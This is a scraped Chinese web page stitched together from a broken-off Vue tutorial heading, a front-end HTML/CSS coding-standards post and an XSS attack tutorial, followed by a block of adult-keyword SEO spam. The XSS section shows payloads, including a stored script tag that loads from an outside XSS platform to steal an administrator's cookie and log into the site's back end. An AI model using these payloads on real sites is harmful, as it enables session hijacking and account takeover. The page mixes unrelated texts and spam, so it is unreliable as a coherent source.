整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          「融職培訓」Web前端學習 第7章 Vue基礎教程3

          「融職培訓」Web前端學習 第7章 Vue基礎教程3 模板語法

          、指令

          指令 (Directives) 是帶有 v- 前綴的特殊屬性,在此之前我們學習過的指令如下所示:

          • v-bind
          • v-on

          本節我們將會介紹更多的vue指令。

          二、條件判斷

          通過v-if和v-show指令可以控制元素的顯示與隱藏,區別如下:

          • v-if='false':不會渲染DOM,查看元素不可見。
          • v-show='false':會渲染DOM,查看元素可見,但是樣式為display:none;

          下面我們通過事件來控制元素的可見性。

           

          TML配置

          • 文件應以“”首行頂格開始,推薦使用“”。
          • 必須申明文檔的編碼charset,并且使用UTF-8編碼。
          • 移動端必須使用 viewport 適配
          • 頁面title是極為重要的不可缺少的一項。

          以下是一個標準的html結構

          html復制代碼<!DOCTYPE html>
          <html>
            <head>
              <!-- 必須聲明 utf-8 編碼格式 -->
              <meta charset="utf-8">
              <!-- 頁面標題不能為空 -->
              <title>京東商城:商家后臺</title>
              <!-- 移動端必須使用 viewport 適配需要, PC 看場景需要使用 -->
              <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
               
              <!-- 樣式文件 以外鏈形式在此處引入 -->
              <link href="//static.360buyimg.com/bus/test/shop1_3/UI2.0update.css" rel="stylesheet">
            </head>
            <body>
              <!-- 頁面主體 -->
              <div class="warp">
                <header>頂部內容區域,比如:菜單頭</header>
                <div class="content">主內容區域</div>
                <footer>頂部頁尾區域,比如:備案號</footer>
              </div>
               
              <!-- js文件 在此處引入 -->
              <script type="text/javascript" src="//wl.jd.com/joya.js"></script>
            </body>
          </html>
          

          主框架(jQuery,vue,react,angular等) 避免混合使用

          避免多個框架混合使用,在同一個工程里面要保持主框架的一致性,多框架同時使用會造成代碼混亂,后期會變得越來越難維護。

          Css開發規范

          1、全局樣式禁止使用!important

          2、避免使用導入式引入css樣式文件;

          css復制代碼<style type="text/css">
            @import url(./demo.css);
          </style>
          

          未使用的js/css禁止引用

          歷史頁面會有一些功能下線,在去除頁面初始化的js語句的同時,也要將依賴的js文件刪除,避免資源加載浪費

          文件必須使用gzip壓縮

          開啟Gzip壓縮功能, 可以使網站的css、js 、xml、html 文件在傳輸時進行壓縮,提高訪問速度

          api接口中,無用字段占傳輸比例30%以上時,刪除無用字段

          在開發過程中,發現無用字段占傳輸比例30%以上時,請進行返回數據的刪減,加快數據請求速度

          關于圖片壓縮

          上傳圖片之前一定要做圖片的無損壓縮,節省網絡流量,推薦網站tinypng

          HTML的標準結構

          html復制代碼<!DOCTYPE html>
          <html>
            <head>
              <!-- 必須聲明 utf-8 編碼格式 -->
              <meta charset="utf-8">
              <!-- keywords 關鍵詞 和 Description 頁面描述 便于搜索引擎檢索,不強制使用 -->
              <meta name="Keywords" Content=”關鍵詞1,關鍵詞2,關鍵詞3,關鍵詞4″>
              <meta name="Description" Content=”頁面描述″>
              <!-- 移動端必須使用 viewport 適配需要, PC 看場景需要使用 -->
              <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
              <!-- 推薦手動引入指定路徑 favicon  -->
              <link rel="shortcut icon" href="path/to/favicon.ico">
              <!-- 樣式文件必須以外鏈形式在此處引入 -->
              <link href="//static.360buyimg.com/bus/test/shop1_3/UI2.0update.css" rel="stylesheet">
              <!-- 內聯樣式 -->
              <style type="text/css">
                .warp {
                  margin: 0;
                  padding: 0;
                }
              </style> -->
              <!-- 頁面標題不能為空 -->
              <title>頁面標題</title>
            </head>
            <body>
            <!-- 頁面主體 -->
              <div class="warp">
              <header>頂部內容區域,比如:菜單頭</header>
              <div class="content">主內容區域</div>
              <footer>頂部頁尾區域,比如:備案號</footer>
              </div>
           
              <!-- JavaScript 文件在此處引入 -->
              <script type="text/javascript" src="//wl.jd.com/joya.js"></script>
            </body>
          </html>
          
          • 不同模塊區域可使用簡要備注標識模塊內容
          • HTML 標簽語義化使結構清晰,比如:
          • CSS 外鏈引入必須放在 中
          • JS 外鏈引入必須放在中
          • 省略圖像、媒體文件、樣式表和腳本等嵌入式資源 URL 協議頭部聲明 ( http:// , https:// ),用//代替。
          • favicon 在未指定 favicon 時,大多數瀏覽器會請求 Web Server 根目錄下的 favicon.ico 。為了保證 favicon 可訪問,避免404,必須遵循以下兩種方法之一:1。在 Web Server 根目錄放置 favicon.ico 文件,2。使用 link 指定 favicon

          HTML標簽使用守則

          標簽小寫

          原生 HTML 標簽元素小寫使用,自定義組件使用小駝峰命名(自定義標簽避免和原生標簽同名)

          html復制代碼<!-- 錯誤 ? -->
          <DIV></DIV>
          <SPAN></SPAN>  
           
          <!-- 正確 ? -->
          <div></div>  
          <p></p> 
           
          <!-- 自定義組件 -->
          <shareDialog><shareDialog/>
          

          套用規則

          禁止在行內元素中嵌套塊級元素??

          html復制代碼<!-- 錯誤的嵌套 ? -->
          <span><div></div></span>  
          <i><p></p></i>     
           
          <!-- 正確的嵌套 ? -->
          <div><span></span></div>  
          <p><i></i></p>   
          

          更多標簽使用規則介紹請查看尾部附錄

          屬性定義

          定義屬性賦值時,使用雙引號,禁止單雙引號混用

          html復制代碼<!-- 錯誤的定義 ? -->
          <input id="formTitle" type='text' placeholder="請輸入標題">   
           
          <!-- 正確的定義 ? -->
          <input id="formTitle" type="text" placeholder="請輸入標題" data="formTitle">   
          

          正確閉合

          除自閉合標簽外,所有標簽都需正確的編寫閉合標簽

          常用自閉合標簽: <br />、<col />、<img />、<input />、<link />、<meta />、<keygen />

          ID、Class 命名使用規范

          ID 和 Class 取通用且有意義的名字;

          使用連字符 - 作為 ID、Class 名稱界定符 ,不要駝峰命名法和下劃線;

          避免選擇器嵌套層級過多,盡量少于 3 級;

          使用命名空間防止命名沖突,利于維護;

          css復制代碼/* 不推薦: 無意義 不易理解 */
          #yee-1901 {}
          #meunBtn {}
          .login_input {}
           
          /* 推薦: 明確詳細 */
          #gallery {}
          #login {}
          .login-input {}
          .meun-btn {}
          
          • 避免選擇器和 Class、ID 疊加使用
          • 聲明順序,相關屬性應為一組,建議遵循: 定位布局屬性 -> 盒模型屬性 -> 文本屬性 -> 視覺屬性 -> 其他屬性
          • 對于 JS 操作相關選擇器 前面需加上 特殊應用標識前綴
          css復制代碼/* 標準的聲明順序 */
          .declaration-order {
            /* 布局屬性 */
            position: absolute;
            top: 0;
            right: 0;
            bottom: 0;
            left: 0;
            z-index: 100;
           
            /* 盒模型屬性 */
            display: block;
            box-sizing: border-box;
            width: 100px;
            height: 100px;
            padding: 10px;
            border: 1px solid #e5e5e5;
            border-radius: 3px;
            margin: 10px;
            float: right;
            overflow: hidden;
           
            /* 文本屬性 */
            font: normal 13px "Helvetica Neue", sans-serif;
            line-height: 1.5;
            text-align: center;
           
            /* 視覺屬性 */
            background-color: #f5f5f5;
            color: #fff;
            opacity: .8;
           
            /* 其他屬性 */
            cursor: pointer;
          }
          

          圖片相關使用規范

          <img/>標簽守則

          • src 屬性不能為空,需添加默認值(托底圖片路徑)
          • 為重要圖片添加 alt 屬性,當無法顯示圖像時,瀏覽器將顯示替代文本,便于 SEO 及用戶閱讀
          • 為圖片標簽 增加 width 和 height 屬性,避免圖片加載從無到有,導致頁面抖動
          • 大量圖片流資源,使用懶加載技術按需加載
          html復制代碼<!-- 禁止 src 取值為空 -->
          <img src="" />
           
          <!-- 推薦 -->
          <img src="xxxx" alt="xxx" style="width:100px;height:100px;" />
          

          圖片資源守則

          大小

          尺寸 小于 50 ×?50 的請使用 字體圖標(iconfont)或者 將多個圖標合成一張大圖使用(雪碧圖) 尺寸大于 50 ×?50 的圖片,引入前先使用 在線壓縮 對其進行壓縮 ,圖片大小盡量控制在 300kb 以內

          倍率

          PC端、移動端 推薦使用 2倍圖 (@2x),避免設備分辨率過高,圖片顯示失真模糊 如有兼容 iPad 場景等特殊場景,可使用 3倍圖(@3x)

          html復制代碼<img src="//logo@200x200.jpg" alt="xx" style="width:100px;height:100px;"/>
          

          2倍圖: 圖片展示區域大小 : 圖片實際尺寸=1 :2

          無論使用幾倍圖,圖片大小都需遵守上條限制

          如遇圖片倍圖問題,可咨詢 @UI童鞋

          性能守則

          • 避免不必要的 DOM 操作瀏覽器遍歷 DOM 元素的代價是昂貴的。最簡單優化 DOM 樹查詢的方案是,當一個元素出現多次時,將它保存在一個變量中,來避免多次查詢 DOM 樹。
          js復制代碼/* 推薦用變量保存頻繁使用的 DOM 元素*/
          var ul=document.getElementsByTagName('ul')[0],
            lis=document.getElementsByTagName('ul')[0].getElementsByTagName('p')
             
          /* 推薦用變量保存頻繁使用的 DOM 元素*/
          var ul=document.getElementsByTagName('ul')[0],
            lis=ul.getElementsByTagName('li')
          
          • 異步加載第三方內容 當你無法保證嵌入第三方內容 比如 埋點、調研等資源正常工作的時候,你需要考慮用異步加載這些代碼,避免阻塞整個頁面加載。
          • 減少標簽的數量 編寫 HTML 代碼時,盡量避免多余的標簽嵌套,避免 DOM樹的冗余
          • 控制靜態資源數量

          1個頁面中建議CSS文件不要超過3個(1個組件庫樣式文件、1個項目公共樣式、1個頁面樣式); JS文件不要超過5個(1個框架文件、1個組件庫文件、1個項目公共庫文件、1個頁面腳本文件、1個埋點文件)。

          編碼建議

          縮進使用 2個空格 樣式建議引入 CSS reset 重置各瀏覽器自帶樣式差異 github.com/necolas/nor… JS 中字符串定義 使用 '' 單引號

          其他建議

          保持一定的代碼潔癖,尤其在大型項目中

          • 代碼邏輯應當直截了當,清晰易讀,保持與業務邏輯與代碼一一對應關系,減少邏輯錯誤的可能性,降低二次開發成本;
          • 刪除過期無用代碼,減少代碼過大,造成不必要的維護成本
          • 代碼盡量復用,擁有組件化思想
          • 代碼命名合理化,即使不寫注釋情況下,也可以讓其他開發人員一眼明白意思
          • 性能調至最優,降低耦合度,避免別人做不合理的優化時而造成的混亂
          • 整潔的模塊邊界,明確的劃分模塊之間的邏輯邊界,盡量保證職責單一,避免功能交叉混雜
          • 讓代碼沒有改進的余地,在開發時把各種情況都想到了,如果有人企圖改進它,總是會回到原點

          性能檢測工具 - Lighthouse簡介 Lighthouse是一個Google開源的自動化工具,主要用于改進網絡應用的質量。Lighthouse會對各個測試項的結果打分,并給出優化建議,這些打分標準和優化建議可以視為Google的網頁最佳實踐。

          Chrome拓展程序 谷歌商店安裝lighthouse后,在右上角或者菜單里點擊圖中圖標,Options可以配置測試項目,點擊Generate report即可測試。

          命令行

          js復制代碼<!-- 安裝 lighthouse 組件(Node.js V5.0 或以上版本) -->
          npm install -g lighthouse
          <!-- 啟動測試 (測試過程中會自動打開 Chrome 完成后會在當前目錄生成一個靜態HTML文件) -->
          lighthouse https://www.baidu.com/ --view
          <!-- 幫助-->
          lighthouse --help
          

          檢測結果

          【附錄】常用的標簽規范

          標簽

          語義

          嵌套常見錯誤

          常用屬性

          <a></a>

          超鏈接/錨

          a不可嵌套a

          href,name,title,rel,target

          <div></div>

          塊級容器



          <p></p>

          段落

          不能嵌套塊級元素


          <span></span>

          內聯容器(行內元素)

          不可嵌套塊級容器


          <form></form>

          表單


          action,target,method,name

          <input />

          輸入框

          不可嵌套元素

          type,name,value,checked,disabled,maxlength,readonly,accesskey

          <textarea></textarea>

          多行文本輸入控件


          name,accesskey,disabled,readonly,rows,cols

          <img />

          圖像

          不可嵌套元素

          alt,src,width,height

          <label></label>

          標簽(常用input元素定義標注)

          不可嵌套塊級容器

          for

          <table></table>

          表格

          只可嵌套表格子元素

          width,align,background,cellpadding,cellspacing,summary,border

          <tbody></tbody>

          表格主體

          只能嵌套在table內


          <thead></thead>

          表頭

          只能嵌套在table內


          <tr></tr>

          表格行

          嵌套于table或thead、tbody、tfoot


          <td></td>

          表格中的單元格

          只用于tr

          colspan,rowspan

          <th></th>

          表格中的標題單元格

          只用于tr

          colspan,rowspan

          <tfoot></tfoot>

          表格表尾

          只用于table


          <button></button>

          按鈕

          不可嵌套表單、表格等塊級元素

          type,disabled

          <select></select>

          列表框或下拉框

          只能嵌套option或optgroup

          name,disabled,multiple

          <option></option>

          select中的一個選項

          只能嵌套在select內

          value,selected,disabled

          <ol></ol>

          有序列表

          只能嵌套li


          <ul></ul>

          無序列表

          只能嵌套li


          <li></li>

          無序列表項

          只能嵌套在 ul 或 ol 內


          <iframe></iframe>

          內嵌一個網頁


          frameborder,width,height,src,scrolling,name

          <br />

          換行



          <link />

          引用樣式或icon

          不可嵌套任何元素

          type,rel,href

          <meta />

          文檔信息

          只用于head內

          content,http-equiv,name

          <script></script>

          引用腳本

          不可嵌套任何元素

          type,src

          <style></style>

          引用樣式

          不可嵌套任何元素

          type,media

          <title></title>

          文檔標題

          只用于head內


          點贊收藏支持、手留余香、與有榮焉,動動你發財的小手喲,感謝各位大佬能留下您的足跡。


          作者:StriveToY
          鏈接:https://juejin.cn/post/7262378982255394873

          隨著互聯網的不斷發展,web應用的互動性也越來越強。相應的,在用戶體驗提升的同時安全風險也會跟著有所增加。今天,我們就來講一講web滲透中常見的攻擊方式之一,XSS攻擊。首先需要了解他是如何工作的,以及我們如何利用xss。

          XSS簡介

          XSS又叫CSS (CrossSiteScript),因為與層疊樣式表(css)重名,所以叫XSS,中文名叫跨站腳本攻擊。

          特點:凡是存在輸入框的地方,都可能存在XSS漏洞。

          精髓:先閉合,再構造

          首先,我們要明白,XSS是利用javascript腳本語言實現的。

          JavaScript

          簡介:是一種屬于網絡的腳本語言,已經被廣泛用于Web應用開發,常用來為網頁添加各式各樣的動態功能,為用戶提供更流暢美觀的瀏覽效果。通常JavaScript腳本是通過嵌入在HTML中來實現自身的功能的。

          Javascript的一些語法常識:

          ①html中的腳本必須位于<script>與</script>標簽之間;

          ②腳本可被放置在html頁面的<body>和<head>部分中;

          ③語句里面的;(分號)用于分隔javascript語句,使用分號可以一行中編寫多條語句;

          ④javascript對大小寫敏感;

          ⑤javascript會忽略多余的空格;

          ⑥可以在文本字符串中使用反斜杠對代碼進行換行。

          那么,基本的理解了,下面開始講解利用~

          XSS攻擊類型

          XSS攻擊目前主要分為三種:

          1、反射型XSS

          2、存儲型XSS

          3、DOM型XSS

          反射型XSS

          簡介:當用戶訪問一個帶有XSS代碼的URL請求時,服務器端接收數據后處理,然后把帶有XSS代碼的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據后,最終造成XSS漏洞。

          精髓:向web頁面注入惡意代碼;這些惡意代碼能夠被瀏覽器成功的執行。

          反射型經典的XSS語句:<script>alert(“feizhu”)</script>

          反射型XSS包括:get類型,post類型。

          GET類型:

          一般就是直接在url后面插入,或者搜索框插入。

          建議抓包看一下,在插入的位置閉合前面的標簽。

          下面這個網站輸入的什么輸出的就是什么,所以不需要做閉合標簽,如圖:

          Ok,成功彈窗,說明有XSS存在,很多人認為這個危害不大呀,那只說明你懂的太少,xss利用javascript中的document對象方法可以把它發揮到極致。

          例如制作釣魚網頁獲取cookie:

          POST類型:

          原理跟get一樣,只不過是以post類型傳參,重點也是先閉合標簽,再構造payload。

          存儲型XSS

          這種類型的XSS,危害比前一種大得多。比如一個攻擊者在論壇的樓層中包含了一段JavaScript代碼,并且服務器沒有正確進行過濾輸出,那就會造成瀏覽這個頁面的用戶執行這段JavaScript代碼。 ~

          簡單的說:此類XSS是存儲再數據庫的,意思就是如果網站存在存儲型XSS,那么就可以打到管理員的cookie。其實cookie就是賬號跟密碼的存儲值,有了它,就可以直接登陸網站后臺,從而越過賬號密碼登陸。

          我只說一下打管理員cookie:

          利用較多的就是留言板,即可以讓網站管理員看到你輸入到服務器XSS語句的地方,這個思路很多,我只說常見的一種。

          利用:利用現成的XSS平臺,或者自己搭建一個可以接受XSS的平臺,現在網上源碼也有很多,根據需求自己搭建。

          我們在XSS平臺生成用于測試的XSS語句,然后寫到留言板提交。

          語句:<script src=https://xsspt.com/tmbUTD></script>

          好,可以看到成功插入,并未有任何過濾。

          接著咱們看XSS平臺是否收到cookie。

          可以看到,成功拿到管理員的cookie,憑借這個就可直接登陸網站后臺。

          當然實戰中是不可能這么快拿到cookie的,這個是看管理員什么時候查看該留言,才可以獲取到的。

          DOM型XSS

          DOM,全稱Document Object Model,是一個平臺和語言都中立的接口,可以使程序和腳本能夠動態訪問和更新文檔的內容、結構以及樣式。

          DOM型XSS其實是一種特殊類型的反射型XSS,它是基于DOM文檔對象模型的一種漏洞。

          特點:不需要服務器解析,觸發XSS靠的是瀏覽器端的DOM解析。

          這個類型的XSS我前天在某src挖到了一個,簡單說一下,這類的XSS你需要掌握javascript的document對象的眾多方法,我也是簡單了解一點~

          有你了解的攻擊方式嗎?可以在留言區交流哦,喜歡的伙伴們記得添加我們的訂閱號secdeer~快動一動小手,分享給身邊的小伙伴吧~


          主站蜘蛛池模板: 国产成人一区在线不卡| 在线观看日本亚洲一区| 欧洲精品一区二区三区在线观看 | 国产成人精品无码一区二区三区| 无码人妻久久一区二区三区| 国产在线精品一区在线观看| 久久精品黄AA片一区二区三区| 日韩精品一区二区三区视频| 亚洲一区二区无码偷拍| 亚洲AV综合色一区二区三区 | 糖心vlog精品一区二区三区| 国产在线精品一区二区在线观看| 精品国产一区二区三区香蕉事| 亚洲一区二区电影| 亚洲一区二区三区AV无码| 三级韩国一区久久二区综合| 在线观看一区二区三区av| 久久久精品人妻一区二区三区蜜桃| 亚洲国产激情一区二区三区| 国产精品va一区二区三区| 综合无码一区二区三区四区五区 | 尤物精品视频一区二区三区 | 一区二区三区无码高清视频| 国产91大片精品一区在线观看| 国产在线精品一区免费香蕉| 日本免费精品一区二区三区| 国模大胆一区二区三区| 色综合视频一区中文字幕| 亚洲爆乳精品无码一区二区三区| 成人无码一区二区三区| 精品一区二区三区AV天堂| 日本一道一区二区免费看| 精品人妻无码一区二区三区蜜桃一| 中文字幕一区二区三区久久网站| 国产一区二区三区久久| 夜夜添无码试看一区二区三区| A国产一区二区免费入口| 国产成人精品一区在线| 熟女大屁股白浆一区二区| 日产一区日产2区| 国产免费一区二区三区不卡|